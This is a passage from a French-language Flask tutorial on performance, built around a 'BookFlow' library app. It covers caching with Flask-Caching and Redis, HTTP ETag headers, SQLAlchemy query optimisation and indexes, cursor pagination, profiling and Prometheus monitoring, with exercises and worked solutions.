      return jsonify({'data': livre.to_dict()}), 201

  @api_livres_bp.route('/<int:livre_id>', methods=['PATCH'])
  @login_requis
  def modifier_livre(livre_id):
      # ... modifier ...
      db.session.commit()

      # Invalider seulement le cache de CE livre
      cache.delete_memoized(get_livre_detail, livre_id)

      return jsonify({'data': livre.to_dict()})

INVALIDER VIA LES ÉVÉNEMENTS (Pattern Observer) :

  # app/events/handlers/cache_handlers.py
  from app.events.event_bus import on_event
  from app.extensions import cache

  @on_event('livre.cree')
  @on_event('livre.modifie')
  @on_event('livre.supprime')
  def invalider_cache_apres_modification(livre, **kwargs):
      """Invalide automatiquement les caches après toute modification."""
      cache.delete('stats_livres_global')
      cache.delete_memoized(get_livre_detail, livre.id)
      # Les listes se regénèrent naturellement à la prochaine requête

STRATÉGIE CACHE-BUST AVEC VERSIONING :

  # Chaque modification incrémente une version globale
  # Les caches contenant l'ancienne version sont automatiquement périmés

  def get_version_catalogue():
      """Version du catalogue (incrémentée à chaque modification)."""
      version = cache.get('catalogue_version')
      if version is None:
          cache.set('catalogue_version', 1, timeout=0)  # Jamais expire
          version = 1
      return version

  def incrementer_version_catalogue():
      """Incrémente la version après chaque modification."""
      cache.inc('catalogue_version')  # Atomic increment

  @api_livres_bp.route('/', methods=['GET'])
  def get_livres():
      version = get_version_catalogue()
      page = request.args.get('page', 1, type=int)
      cache_key = f'livres_v{version}_p{page}_{request.query_string.decode()}'

      livres = cache.get(cache_key)
      if livres is None:
          # ... requête BDD ...
          cache.set(cache_key, livres, timeout=3600)  # 1h

      return jsonify({'data': livres})


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  CACHE HTTP (CÔTÉ CLIENT)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En plus du cache côté serveur, on peut demander aux clients de cacher
les réponses avec des headers HTTP.

  import hashlib, json
  from flask import make_response, request
  from datetime import datetime, timezone, timedelta

  def reponse_cacheable(data: dict, timeout_secondes: int = 300) -> Response:
      """
      Crée une réponse JSON avec les headers de cache HTTP.
      Permet au client et aux CDN de cacher la réponse.
      """
      json_str = json.dumps(data, sort_keys=True, default=str)
      etag = '"' + hashlib.md5(json_str.encode()).hexdigest() + '"'

      # Vérifier si le client a déjà cette version
      if_none_match = request.headers.get('If-None-Match')
      if if_none_match == etag:
          return make_response('', 304)  # Not Modified — client utilise son cache

      response = make_response(json_str)
      response.headers['Content-Type'] = 'application/json; charset=utf-8'

      # Headers de cache
      response.headers['ETag'] = etag
      response.headers['Cache-Control'] = f'public, max-age={timeout_secondes}'
      response.headers['Vary'] = 'Accept-Encoding'

      # Date d'expiration absolue
      expires = datetime.now(timezone.utc) + timedelta(seconds=timeout_secondes)
      response.headers['Expires'] = expires.strftime('%a, %d %b %Y %H:%M:%S GMT')

      return response

  # Utilisation :
  @api_livres_bp.route('/statistiques')
  def get_statistiques():
      stats = calculer_statistiques()
      return reponse_cacheable({'success': True, 'data': stats}, timeout_secondes=600)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  REDIS — UTILISATION AVANCÉE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Redis peut faire bien plus que du simple cache.

  pip install redis

  # app/utils/redis_client.py
  import redis
  import os

  def creer_client_redis():
      """Crée un client Redis configuré."""
      return redis.from_url(
          os.getenv('REDIS_URL', 'redis://localhost:6379/0'),
          decode_responses=True,    # Retourner des strings, pas des bytes
          socket_timeout=5,
          socket_connect_timeout=5,
          retry_on_timeout=True
      )

  redis_client = creer_client_redis()

COMPTEURS ET STATISTIQUES AVEC REDIS :

  # Incrémenter des compteurs atomiquement
  def incrementer_compteur_vues(livre_id: int):
      """Compte le nombre de vues d'un livre (sans toucher à la BDD)."""
      cle = f'livre:vues:{livre_id}'
      return redis_client.incr(cle)  # Atomic increment

  def get_vues_livre(livre_id: int) -> int:
      """Récupère le nombre de vues."""
      return int(redis_client.get(f'livre:vues:{livre_id}') or 0)

  def get_top_livres_vus(n: int = 10) -> list:
      """Top N livres les plus vus (depuis Redis, O(log N))."""
      # Utiliser un Sorted Set Redis
      return redis_client.zrevrange('livre:top_vus', 0, n-1, withscores=True)

  def enregistrer_vue(livre_id: int):
      """Enregistre une vue et met à jour le classement."""
      redis_client.incr(f'livre:vues:{livre_id}')
      redis_client.zincrby('livre:top_vus', 1, str(livre_id))

SESSIONS DISTRIBUÉES AVEC REDIS :

  pip install flask-session

  from flask_session import Session

  app.config.update(
      SESSION_TYPE = 'redis',
      SESSION_REDIS = redis_client,
      SESSION_KEY_PREFIX = 'bookflow:session:',
      SESSION_PERMANENT = True,
      PERMANENT_SESSION_LIFETIME = timedelta(days=7)
  )
  Session(app)
  # Les sessions sont maintenant stockées dans Redis
  # -> Fonctionne sur plusieurs instances du serveur (scalabilité)

FILE D'ATTENTE AVEC REDIS (Pub/Sub) :

  # Publier un événement
  redis_client.publish('bookflow:events', json.dumps({
      'type': 'livre_cree',
      'livre_id': 42,
      'timestamp': datetime.now(timezone.utc).isoformat()
  }))

  # S'abonner (dans un processus séparé ou thread)
  pubsub = redis_client.pubsub()
  pubsub.subscribe('bookflow:events')
  for message in pubsub.listen():
      if message['type'] == 'message':
          event = json.loads(message['data'])
          print(f"Événement reçu : {event}")


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 41.1 : Ajoute le cache sur GET /api/v1/livres/statistiques.
    Timeout : 10 minutes. Invalider quand un livre est créé/supprimé.

  Exercice 41.2 : Utilise @cache.memoize sur la fonction get_livre_detail().
    Invalide le cache quand le livre est modifié (PATCH).

  Exercice 41.3 : Ajoute les headers ETag et Cache-Control sur
    GET /api/v1/livres/. Teste avec curl -v et -H "If-None-Match: <etag>".

NIVEAU INTERMÉDIAIRE :
  Exercice 41.4 : Implémente le cache par version pour la liste des livres.
    Chaque modification incrémente la version -> tous les caches de liste
    sont automatiquement invalidés.

  Exercice 41.5 : Installe Redis localement et configure BookFlow pour
    l'utiliser en développement. Monitore les hits/misses avec redis-cli monitor.

NIVEAU AVANCÉ :
  Exercice 41.6 : Implémente un système de compteur de vues avec Redis.
    GET /api/v1/livres/<id> incrémente le compteur.
    GET /api/v1/livres/populaires retourne les 10 livres les plus vus.
    Les compteurs sont persistés en BDD toutes les heures (batch).

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 41.1 — Cache sur les statistiques :

  from app.extensions import cache
  from app.events.event_bus import on_event

  # Clé de cache constante
  CLE_STATS = 'stats_livres_global'

  @api_livres_bp.route('/statistiques')
  def get_statistiques():
      stats = cache.get(CLE_STATS)
      if stats is None:
          from sqlalchemy import func
          stats = {
              'total': Livre.query.count(),
              'disponibles': Livre.query.filter_by(disponible=True).count(),
              'par_genre': dict(db.session.query(
                  Livre.genre, func.count(Livre.id)
              ).group_by(Livre.genre).all()),
              'calcule_le': datetime.now(timezone.utc).isoformat()
          }
          cache.set(CLE_STATS, stats, timeout=600)
      return jsonify({'success': True, 'data': stats})

  # Handler d'événement pour l'invalidation
  @on_event('livre.cree')
  @on_event('livre.supprime')
  def invalider_stats(**kwargs):
      cache.delete(CLE_STATS)

CORRIGÉ 41.6 — Compteur de vues Redis :

  from app.utils.redis_client import redis_client

  @api_livres_bp.route('/<int:livre_id>')
  def get_livre(livre_id):
      livre = db.get_or_404(Livre, livre_id)

      # Incrémenter le compteur de vues (async, non bloquant)
      try:
          redis_client.incr(f'livre:vues:{livre_id}')
          redis_client.zincrby('livre:top_vus', 1, str(livre_id))
      except Exception:
          pass  # Ne pas bloquer si Redis est indisponible

      data = livre.to_dict()
      data['nb_vues'] = int(redis_client.get(f'livre:vues:{livre_id}') or 0)
      return jsonify({'success': True, 'data': data})

  @api_livres_bp.route('/populaires')
  def livres_populaires():
      """Top 10 livres les plus vus."""
      top = redis_client.zrevrange('livre:top_vus', 0, 9, withscores=True)
      livres_ids = [int(id_str) for id_str, _ in top]

      if not livres_ids:
          return jsonify({'success': True, 'data': []})

      # Récupérer les livres dans l'ordre
      livres = {l.id: l for l in Livre.query.filter(Livre.id.in_(livres_ids)).all()}
      resultats = [
          {**livres[lid].to_dict(), 'nb_vues': int(score)}
          for lid, score in top
          if lid in livres
      ]
      return jsonify({'success': True, 'data': resultats})


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 42 — OPTIMISATION BDD ET PROFILING                          ║
║     Requêtes efficaces, indexes, N+1, profiling et monitoring                     ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  OPTIMISATION DES REQUÊTES SQLALCHEMY
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SÉLECTIONNER SEULEMENT LES COLONNES NÉCESSAIRES :

  # [X] Inefficace : charge toutes les colonnes (dont les gros textes)
  livres = Livre.query.all()
  titres = [l.titre for l in livres]  # On ne voulait que les titres !

  # [OK] Efficace : ne charge que les colonnes nécessaires
  from sqlalchemy import select
  titres = db.session.execute(
      select(Livre.titre, Livre.auteur)
  ).fetchall()
  # SQL généré : SELECT titre, auteur FROM livres

  # [OK] Avec SQLAlchemy ORM et load_only :
  from sqlalchemy.orm import load_only
  livres = Livre.query.options(
      load_only(Livre.id, Livre.titre, Livre.auteur, Livre.disponible)
  ).all()
  # Charge seulement ces 4 colonnes (pas description, pas isbn, etc.)

REQUÊTES AVEC EXISTS AU LIEU DE COUNT :

  # [X] Lent : compte toutes les lignes
  if Livre.query.filter_by(isbn=isbn).count() > 0:
      print("ISBN existe")

  # [OK] Rapide : s'arrête dès qu'un résultat est trouvé
  from sqlalchemy import exists
  isbn_existe = db.session.query(
      exists().where(Livre.isbn == isbn)
  ).scalar()

  # [OK] Encore plus simple
  if Livre.query.filter_by(isbn=isbn).first() is not None:
      print("ISBN existe")

ÉVITER LES SOUS-REQUÊTES RÉPÉTÉES :

  # [X] Problème : 2 requêtes pour la même information
  livres = Livre.query.filter_by(disponible=True).all()
  total = Livre.query.filter_by(disponible=True).count()  # 2ème requête !

  # [OK] Solution : une seule requête
  livres = Livre.query.filter_by(disponible=True).all()
  total = len(livres)  # Utiliser len() si on a déjà tous les résultats

  # [OK] Pour les grandes tables (où .all() est trop lourd) :
  pagination = Livre.query.filter_by(disponible=True).paginate(page=1, per_page=10)
  livres = pagination.items   # Les livres de cette page
  total = pagination.total    # Le total (une seule requête SQL avec COUNT)

REQUÊTES OPTIMISÉES AVEC JOINTURES :

  # [X] Problème N+1 : 1 requête pour les livres + 1 par livre pour les catégories
  livres = Livre.query.all()
  for livre in livres:
      print(livre.categories)  # 1 requête supplémentaire par livre !

  # [OK] Solution joinedload : 1 seule requête avec JOIN
  from sqlalchemy.orm import joinedload
  livres = Livre.query.options(
      joinedload(Livre.categories)  # Charge en même temps avec JOIN
  ).all()
  for livre in livres:
      print(livre.categories)  # Déjà chargé ! 0 requête supplémentaire

  # [OK] Pour les collections plus grandes : subqueryload
  from sqlalchemy.orm import subqueryload
  livres = Livre.query.options(
      subqueryload(Livre.avis)  # 2 requêtes au total (pas 1+N)
  ).all()

  # [OK] Chargement imbriqué (avis avec leur auteur)
  livres = Livre.query.options(
      subqueryload(Livre.avis).joinedload(Avis.auteur)
  ).all()


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  INDEXES — ACCÉLÉRATION DES REQUÊTES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un index permet à la BDD de trouver rapidement les données sans scanner
toute la table. C'est comme l'index d'un livre — chercher par auteur vs
lire tout le livre pour trouver les pages d'un auteur.

QUAND CRÉER UN INDEX :
  -> Sur les colonnes utilisées dans WHERE, ORDER BY, JOIN
  -> Sur les colonnes de tri fréquentes
  -> Sur les clés étrangères (automatiquement avec index=True)
  -> PAS sur les colonnes rarement utilisées en filtre (overhead d'écriture)

CRÉER DES INDEXES DANS SQLALCHEMY :

  class Livre(db.Model):
      __tablename__ = 'livres'

      id = db.Column(db.Integer, primary_key=True)

      # Index simple sur une colonne souvent filtrée
      titre = db.Column(db.String(200), index=True)  # <- Index automatique

      # Index unique (aussi filtre)
      isbn = db.Column(db.String(13), unique=True)    # <- Unique = index automatique

      # Clé étrangère avec index
      user_id = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), index=True)

      # Index sur plusieurs colonnes (requêtes combinées fréquentes)
      __table_args__ = (
          # Index composé : WHERE genre = ? AND disponible = ?
          db.Index('idx_genre_disponible', 'genre', 'disponible'),

          # Index pour le tri fréquent
          db.Index('idx_created_at_desc', db.text('created_at DESC')),

          # Index sur une expression (recherche insensible à la casse)
          # db.Index('idx_titre_lower', db.func.lower('titre')),  # PostgreSQL
      )

ANALYSER LES REQUÊTES LENTES :

  # SQLite : EXPLAIN QUERY PLAN
  from sqlalchemy import text
  result = db.session.execute(
      text("EXPLAIN QUERY PLAN SELECT * FROM livres WHERE genre = 'fantasy'")
  ).fetchall()
  for row in result:
      print(row)

  # PostgreSQL : EXPLAIN ANALYZE
  result = db.session.execute(
      text("EXPLAIN ANALYZE SELECT * FROM livres WHERE genre = 'fantasy'")
  ).fetchall()

  # Activer les logs SQL pour voir les requêtes lentes
  app.config['SQLALCHEMY_ECHO'] = True  # Dev seulement !

  # Détecter les requêtes sans index (SQLite)
  # PRAGMA compile_options; -> vérifier SQLITE_ENABLE_STAT4

MIGRATION POUR AJOUTER UN INDEX :

  # flask db migrate -m "Ajouter index genre et disponible"
  # Fichier généré dans migrations/versions/xxx_ajouter_index.py

  def upgrade():
      op.create_index(
          'idx_livres_genre_disponible',
          'livres',
          ['genre', 'disponible']
      )

  def downgrade():
      op.drop_index('idx_livres_genre_disponible', table_name='livres')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  PAGINATION EFFICACE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

La pagination par OFFSET devient lente sur de grandes tables.
La pagination par curseur est bien plus efficace.

PAGINATION OFFSET vs CURSEUR :

  # [X] OFFSET lent sur grandes tables
  # SELECT * FROM livres ORDER BY id LIMIT 10 OFFSET 10000
  # -> Scanne 10010 lignes pour retourner 10 résultats !
  Livre.query.offset(10000).limit(10).all()

  # [OK] CURSEUR rapide (basé sur l'ID)
  # SELECT * FROM livres WHERE id > 10000 ORDER BY id LIMIT 10
  # -> Trouve directement via l'index sur id !
  Livre.query.filter(Livre.id > dernier_id_vu).limit(10).all()

  # [OK] Implémentation cursor-based pour BookFlow
  def lister_livres_cursor(
      cursor: int = None, limit: int = 10, **filtres
  ) -> dict:
      """
      Pagination par curseur (keyset pagination).
      Plus rapide que l'offset pour les grandes tables.
      """
      query = Livre.actifs()

      if filtres.get('genre'):
          query = query.filter(Livre.genre == filtres['genre'])

      if cursor:
          query = query.filter(Livre.id > cursor)

      # Demander un élément de plus pour savoir s'il y a une suite
      livres = query.order_by(Livre.id.asc()).limit(limit + 1).all()

      has_more = len(livres) > limit
      if has_more:
          livres = livres[:limit]

      prochain_cursor = livres[-1].id if has_more and livres else None

      return {
          'data': [l.to_dict() for l in livres],
          'pagination': {
              'count':           len(livres),
              'has_more':        has_more,
              'next_cursor':     prochain_cursor,
              'cursor_actuel':   cursor
          }
      }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  PROFILING FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le profiling permet de trouver exactement où une application est lente.

PROFILING SIMPLE AVEC CPROFILE :

  import cProfile, pstats, io

  def profiler_route(f):
      """Décorateur qui profile une route Flask."""
      from functools import wraps
      @wraps(f)
      def wrapper(*args, **kwargs):
          pr = cProfile.Profile()
          pr.enable()
          resultat = f(*args, **kwargs)
          pr.disable()

          s = io.StringIO()
          ps = pstats.Stats(pr, stream=s).sort_stats('cumulative')
          ps.print_stats(20)  # Top 20 fonctions les plus lentes
          print(s.getvalue())

          return resultat
      return wrapper

  # Utilisation (temporaire, pour le debug)
  @api_livres_bp.route('/debug/profil')
  @profiler_route
  def route_a_profiler():
      # Code à analyser...
      return jsonify({'ok': True})

FLASK-DEBUGTOOLBAR (Dev uniquement) :

  pip install flask-debugtoolbar

  from flask_debugtoolbar import DebugToolbarExtension

  app.config.update(
      DEBUG=True,
      SECRET_KEY='dev',
      DEBUG_TB_ENABLED=True,
      DEBUG_TB_INTERCEPT_REDIRECTS=False,
      DEBUG_TB_PROFILER_ENABLED=True,    # Profiler activé
      SQLALCHEMY_RECORD_QUERIES=True     # Voir les requêtes SQL
  )
  toolbar = DebugToolbarExtension(app)

  # La toolbar apparaît automatiquement dans le navigateur
  # Elle affiche : temps de réponse, requêtes SQL, profil Python, etc.

MESURER LE TEMPS DES REQUÊTES SQL :

  import time
  from flask import g

  @app.before_request
  def avant_requete():
      g.debut = time.perf_counter()
      g.nb_requetes_sql = 0

  # Événement SQLAlchemy à chaque requête
  from sqlalchemy import event
  from sqlalchemy.engine import Engine

  @event.listens_for(Engine, 'before_cursor_execute')
  def avant_execution_sql(conn, cursor, statement, params, context, executemany):
      context._debut_sql = time.perf_counter()

  @event.listens_for(Engine, 'after_cursor_execute')
  def apres_execution_sql(conn, cursor, statement, params, context, executemany):
      duree = (time.perf_counter() - context._debut_sql) * 1000
      if hasattr(g, 'nb_requetes_sql'):
          g.nb_requetes_sql += 1
      if duree > 100:  # Loguer les requêtes lentes (> 100ms)
          from flask import current_app
          current_app.logger.warning(
              f"[SLOW QUERY] {duree:.2f}ms | {statement[:100]}"
          )

  @app.after_request
  def apres_requete(response):
      if hasattr(g, 'debut'):
          duree_totale = (time.perf_counter() - g.debut) * 1000
          nb_sql = getattr(g, 'nb_requetes_sql', 0)

          response.headers['X-Response-Time'] = f'{duree_totale:.2f}ms'
          response.headers['X-SQL-Queries']   = str(nb_sql)

          # Alerter si trop de requêtes SQL (N+1 potential)
          if nb_sql > 10:
              from flask import current_app
              current_app.logger.warning(
                  f"[N+1 ALERT] {nb_sql} requêtes SQL pour "
                  f"{request.method} {request.path} ({duree_totale:.0f}ms)"
              )
      return response

PROFILING EN PRODUCTION AVEC PYINSTRUMENT :

  pip install pyinstrument

  from pyinstrument import Profiler

  @app.route('/debug/profiler')
  def route_avec_profiler():
      """Endpoint de profiling (protéger en production !)"""
      profiler = Profiler()
      profiler.start()

      # Code à profiler
      livres = Livre.query.options(
          joinedload(Livre.categories)
      ).all()

      profiler.stop()

      # Retourner le rapport HTML
      html = profiler.output_html()
      return html, 200, {'Content-Type': 'text/html'}


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  MONITORING AVEC PROMETHEUS ET GRAFANA
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En production, on veut monitorer les performances en temps réel.

  pip install prometheus-flask-exporter

  from prometheus_flask_exporter import PrometheusMetrics

  metrics = PrometheusMetrics(app)

  # Métriques automatiques :
  # flask_http_request_duration_seconds  -> Durée des requêtes
  # flask_http_request_total             -> Nombre total de requêtes
  # flask_http_request_exceptions_total  -> Nombre d'exceptions

  # Métriques personnalisées
  from prometheus_client import Counter, Histogram, Gauge

  LIVRES_EMPRUNTES = Counter(
      'bookflow_emprunts_total',
      'Nombre total d\'emprunts créés'
  )
  TEMPS_REQUETE_BDD = Histogram(
      'bookflow_db_query_duration_seconds',
      'Durée des requêtes BDD',
      buckets=[0.01, 0.05, 0.1, 0.25, 0.5, 1.0, 2.5]
  )
  LIVRES_DISPONIBLES = Gauge(
      'bookflow_livres_disponibles',
      'Nombre de livres actuellement disponibles'
  )

  # Utilisation
  @api_emprunts_bp.route('/', methods=['POST'])
  def creer_emprunt():
      # ...
      LIVRES_EMPRUNTES.inc()  # Incrémenter le compteur
      LIVRES_DISPONIBLES.dec()  # Décrémenter la jauge
      return jsonify({'data': emprunt.to_dict()}), 201

  # Endpoint pour Prometheus
  # GET /metrics -> collecté par Prometheus toutes les 15 secondes

ALERT MANAGER (alertes automatiques) :

  # prometheus_rules.yml
  groups:
  - name: bookflow_alerts
    rules:
    - alert: TempsReponseEleve
      expr: histogram_quantile(0.95, flask_http_request_duration_seconds_bucket) > 1
      for: 5m
      annotations:
        summary: "95% des requêtes prennent plus de 1 seconde"

    - alert: TauxErreurEleve
      expr: rate(flask_http_request_total{status=~"5.."}[5m]) > 0.1
      for: 2m
      annotations:
        summary: "Plus de 10% des requêtes retournent des erreurs 5xx"


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  OPTIMISATIONS DIVERSES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

COMPRESSION DES RÉPONSES :

  pip install flask-compress

  from flask_compress import Compress
  compress = Compress()
  compress.init_app(app)
  # Compresse automatiquement les réponses > 500 bytes avec gzip
  # Réduit la bande passante de 70-90% pour du JSON

  app.config.update(
      COMPRESS_MIMETYPES = ['text/html', 'application/json',
                            'text/css', 'application/javascript'],
      COMPRESS_LEVEL     = 6,      # Niveau de compression (1-9)
      COMPRESS_MIN_SIZE  = 500,    # Compresser seulement si > 500 bytes
  )

CONNEXIONS HTTP PERSISTANTES :

  # Gunicorn avec workers pré-fork (production)
  # gunicorn -w 4 --worker-class=gthread --threads=2 "app:create_app()"
  # -> 4 workers × 2 threads = 8 connexions simultanées

  # Configuration du pool SQLAlchemy
  app.config['SQLALCHEMY_ENGINE_OPTIONS'] = {
      'pool_size':         10,   # Connexions permanentes
      'max_overflow':      20,   # Connexions supplémentaires
      'pool_pre_ping':     True, # Vérifier avant utilisation
      'pool_recycle':      300,  # Recycler après 5 min
      'pool_timeout':      30,   # Timeout si pool plein
  }

SÉRIALISATION RAPIDE AVEC ORJSON :

  pip install orjson

  import orjson
  from flask import Flask

  class OrjsonProvider(flask.json.provider.JSONProvider):
      """Remplace le sérialiseur JSON par orjson (3-10x plus rapide)."""
      def dumps(self, obj, **kwargs):
          return orjson.dumps(obj).decode()

      def loads(self, s, **kwargs):
          return orjson.loads(s)

  app.json_provider_class = OrjsonProvider
  app.json = OrjsonProvider(app)

REQUÊTES ASYNCHRONES AVEC HTTPX (Microservices) :

  # Si BookFlow appelle d'autres APIs (ex: Stripe, emails, etc.)
  # utiliser des requêtes async pour ne pas bloquer le thread

  pip install httpx

  import httpx

  async def notifier_service_email(user_email: str, message: str):
      async with httpx.AsyncClient() as client:
          await client.post(
              'https://api.email-service.com/send',
              json={'to': user_email, 'message': message},
              timeout=5.0
          )

  # Note : Flask standard n'est pas async. Pour vraiment bénéficier de l'async,
  # utiliser Flask 2.0+ avec async/await (support expérimental) ou Quart.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 42.1 : Active SQLALCHEMY_ECHO = True en dev et compte le nombre
    de requêtes SQL générées par GET /api/v1/livres/ avec 10 livres.
    Identifie et résous tout problème N+1.

  Exercice 42.2 : Ajoute les indexes manquants au modèle Livre.
    Identifie les colonnes utilisées dans les WHERE et ORDER BY fréquents.
    Crée la migration correspondante.

  Exercice 42.3 : Installe Flask-Compress et vérifie la réduction de taille
    des réponses JSON avec curl -v --compressed.

NIVEAU INTERMÉDIAIRE :
  Exercice 42.4 : Implémente le middleware de comptage des requêtes SQL
    et ajoute les headers X-Response-Time et X-SQL-Queries à toutes les réponses.

  Exercice 42.5 : Remplace la pagination par offset de la route /livres/
    par une pagination par curseur. Documente la différence de performance.

NIVEAU AVANCÉ :
  Exercice 42.6 : Installe prometheus-flask-exporter et crée des métriques
    pour : nombre d'emprunts, temps moyen des requêtes BDD, livres disponibles.
    Configure Grafana pour afficher un dashboard.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 42.4 — Middleware SQL query counter :

  import time
  from flask import g, request
  from sqlalchemy import event
  from sqlalchemy.engine import Engine

  def configurer_monitoring_sql(app):
      """Configure le monitoring des requêtes SQL."""

      # Écouter les événements SQLAlchemy
      @event.listens_for(Engine, 'before_cursor_execute')
      def avant_execute(conn, cursor, statement, params, context, executemany):
          context._debut = time.perf_counter()

      @event.listens_for(Engine, 'after_cursor_execute')
      def apres_execute(conn, cursor, statement, params, context, executemany):
          duree_ms = (time.perf_counter() - context._debut) * 1000

          # Accumuler dans g
          if not hasattr(g, '_requetes_sql'):
              g._requetes_sql = []
          g._requetes_sql.append({
              'sql': statement[:150],
              'duree_ms': round(duree_ms, 2)
          })

          # Logger les requêtes lentes
          if duree_ms > 100:
              app.logger.warning(
                  f"[SLOW SQL] {duree_ms:.1f}ms | "
                  f"{statement[:80].replace(chr(10), ' ')}"
              )

      @app.before_request
      def init_monitoring():
          g._debut_requete = time.perf_counter()
          g._requetes_sql = []

      @app.after_request
      def ajouter_headers_perf(response):
          if hasattr(g, '_debut_requete'):
              duree_ms = (time.perf_counter() - g._debut_requete) * 1000
              nb_sql = len(getattr(g, '_requetes_sql', []))

              response.headers['X-Response-Time'] = f'{duree_ms:.2f}ms'
              response.headers['X-SQL-Queries'] = str(nb_sql)

              # Alert N+1 potential
              if nb_sql > 10:
                  app.logger.warning(
                      f"[N+1 RISK] {nb_sql} requêtes SQL | "
                      f"{request.method} {request.path}"
                  )

          return response

CORRIGÉ 42.5 — Pagination par curseur :

  @api_livres_bp.route('/')
  def get_livres():
      # Paramètres cursor-based
      cursor = request.args.get('cursor', type=int)  # ID du dernier livre vu
      limit  = min(100, request.args.get('limit', 10, type=int))
      genre  = request.args.get('genre')

      query = Livre.actifs().order_by(Livre.id.asc())

      if genre:
          query = query.filter(Livre.genre == genre)

      if cursor:
          query = query.filter(Livre.id > cursor)

      # +1 pour détecter la page suivante
      livres = query.limit(limit + 1).all()

      has_more = len(livres) > limit
      if has_more:
          livres = livres[:limit]

      return jsonify({
          'success': True,
          'data': [l.to_dict() for l in livres],
          'pagination': {
              'count':       len(livres),
              'has_more':    has_more,
              'next_cursor': livres[-1].id if has_more and livres else None
          }
      })

  # Performance comparée (table avec 1M livres) :
  # Offset page 100 (OFFSET 1000) : ~50ms (scan de 1001 lignes)
  # Cursor id > 1000             : ~2ms  (index lookup direct) [OK]


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW : OPTIMISATIONS APPLIQUÉES           ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  PLAN D'OPTIMISATION BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  NIVEAU 1 — QUICK WINS (impact immédiat) :
  ──────────────────────────────────────────
  [OK] Activer la compression gzip (Flask-Compress)
  [OK] Ajouter les indexes manquants (genre, disponible, isbn, email)
  [OK] Mettre en cache les statistiques (10 min)
  [OK] Résoudre les N+1 avec joinedload/subqueryload

  NIVEAU 2 — OPTIMISATIONS MOYENNES :
  ──────────────────────────────────────
  [OK] Redis pour le cache (remplacer SimpleCache)
  [OK] Pagination par curseur sur les grandes collections
  [OK] Cache HTTP (ETag, Cache-Control) sur les routes publiques
  [OK] Pool de connexions SQLAlchemy configuré

  NIVEAU 3 — OPTIMISATIONS AVANCÉES :
  ──────────────────────────────────────
  [OK] Compteurs de vues avec Redis Sorted Sets
  [OK] Prometheus + Grafana pour le monitoring
  [OK] Sessions Redis distribuées
  [OK] Orjson pour la sérialisation rapide

  IMPACT ATTENDU :
  -> Temps de réponse moyen : 200ms -> 20ms (×10)
  -> Requêtes BDD par page vue : 15 -> 2 (N+1 résolu + cache)
  -> Charge serveur au pic : divisée par 5 (cache Redis)
  -> Capacité de montée en charge : 100 req/s -> 1000+ req/s

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CHECKLIST DE PERFORMANCE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  BDD :
  [OK] Indexes sur les colonnes filtrées (genre, disponible, email, isbn)
  [OK] Indexes composés pour les requêtes fréquentes (genre + disponible)
  [OK] joinedload/subqueryload pour résoudre les N+1
  [OK] load_only() pour charger seulement les colonnes nécessaires
  [OK] Pool de connexions configuré (pool_size, max_overflow)
  [OK] Pagination par curseur pour les grandes tables

  CACHE :
  [OK] Flask-Caching avec Redis en production
  [OK] Statistiques en cache (600s)
  [OK] Détails de livres en cache avec @cache.memoize
  [OK] Invalidation propre après les modifications
  [OK] Headers HTTP Cache-Control + ETag sur les routes publiques

  RÉSEAU :
  [OK] Compression gzip (Flask-Compress)
  [OK] HTTP/2 (via Nginx en production)
  [OK] Sérialisation orjson (3× plus rapide que json standard)

  MONITORING :
  [OK] X-Response-Time header
  [OK] X-SQL-Queries header (détection N+1)
  [OK] Logs des requêtes lentes (> 100ms)
  [OK] Prometheus metrics
  [OK] Alertes automatiques (temps de réponse, taux d'erreur)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 12 — PERFORMANCE

  [DOCS] Tu as appris :
